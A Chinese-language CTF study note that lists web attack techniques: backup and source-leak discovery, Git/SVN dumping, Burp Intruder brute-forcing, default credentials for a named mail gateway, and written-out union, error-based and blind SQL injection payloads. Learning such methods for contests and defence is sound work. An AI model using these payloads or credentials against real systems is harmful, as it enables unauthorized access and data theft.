以摸鱼的心态报了网络安全比赛,在做开题的同时做一做这个作为调剂,毕设太难想了,要死了
目录遍历
对于提供网络文件系统的服务(FTP),直接遍历,下载所有文件
Phpinfo
其中包含环境变量之类的信息
源码泄露
网站备份下载
常见后缀名:
- tar
- tar.gz
- zip
- rar
常见文件名:
- web
- website
- backup
- back
- www
- wwwroot
- temp
下载方法:写个脚本,挨个遍历,找到能下载的链接。如果flag没有写在文件中,说明还需要和服务器交互一下(可能是访问某个链接)
php备份
在地址后加上.bak即可访问到备份结果
vim缓存
vim缓存名称”.{name}.swp”
.DS_Store
这是Mac保存文件目录的文件,可以获得该目录下的文件列表
Git
使用到了BugScanTeam的GitHack工具
需要关注的地方:
- log
- stash
- commit
Svn
- 找到.svn目录
- 使用dvcs-ripper工具爬取代码(需要Perl环境,且需要装一下LWP千万别用sudo装perl插件)
- 在.svn/pristine/中找到历史记录
密码
常用密码爆破
使用工具BurpSuite中Intruder模块
Sniper
有一组payload集合和多个位置,每次选用一个payload放置于一个位置进行访问
Battering Ram
与Sniper不同的是,每次选用一个payload放置于所有的位置
Pitchfork
每个位置上都有各自的payload集合,遍历所有的组合
Cluster Bomb
进行笛卡尔积计算,强上
默认密码
亿邮的邮件网关系统,系统有三个默认的帐号(admin:+-ccccc, eyougw:admin@(eyou), eyouuser:eyou_admin)
SQL注入
整型/字符注入
- 存在网页,输入ID返回对应行的值
1
select * from news where id=<input>
- 检查是否存在注入可能
1
21 and 1 = 1
1 and 1 = 2 - 猜测字段数量
1
1 order by xxx(列号)
- 获取数据库名称
1
1 and 1=2 union select 1,database()
- 获取有哪些表
1
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=<database_name>
获取字段名
1
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=<table_name>
获取数据内容
1
1 and 1=2 union select 1,group_concat(flag) from sqli.flag
报错注入
SQL注入——报错注入 - Richard_Lee97 - 博客园
核心函数:extractvalue,该函数用于从xml文本中获取指定字段的内容。
所以,可以将需要的查询结果放到该函数中,通过该函数的报错信息获取想要的结果。
- 存在如下的sql语句
1
select * from news where id=<input>
- 获取数据库名称(0x7e就是这个符合’~’)
1
1 and extractvalue(1,concat(0x7e,database(),0x7e))
- 获得表名
1
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
- 获得列名
1
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
- 获得数据
1
1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))
- 数据不够长
1
2
3
4
5
6使用mid函数
前半段: 1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))
后半段: 1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))
直接select
1 and extractvalue(1,(select flag from flag))
布尔盲注
大概就是,页面只能返回True和False,通过一些办法,使用Bool返回值猜测出需要的数据
关键函数:
- length(str): Byte
- substr(str, pos, len)
- ascii(char): 字母到数字
时间盲注
在条件中增加基于感兴趣字段的返回值选择睡眠时长,然后依据返回时长确定字段的值(二分)
关键函数:
- if(condition, when_true, when_false)
- sleep(second)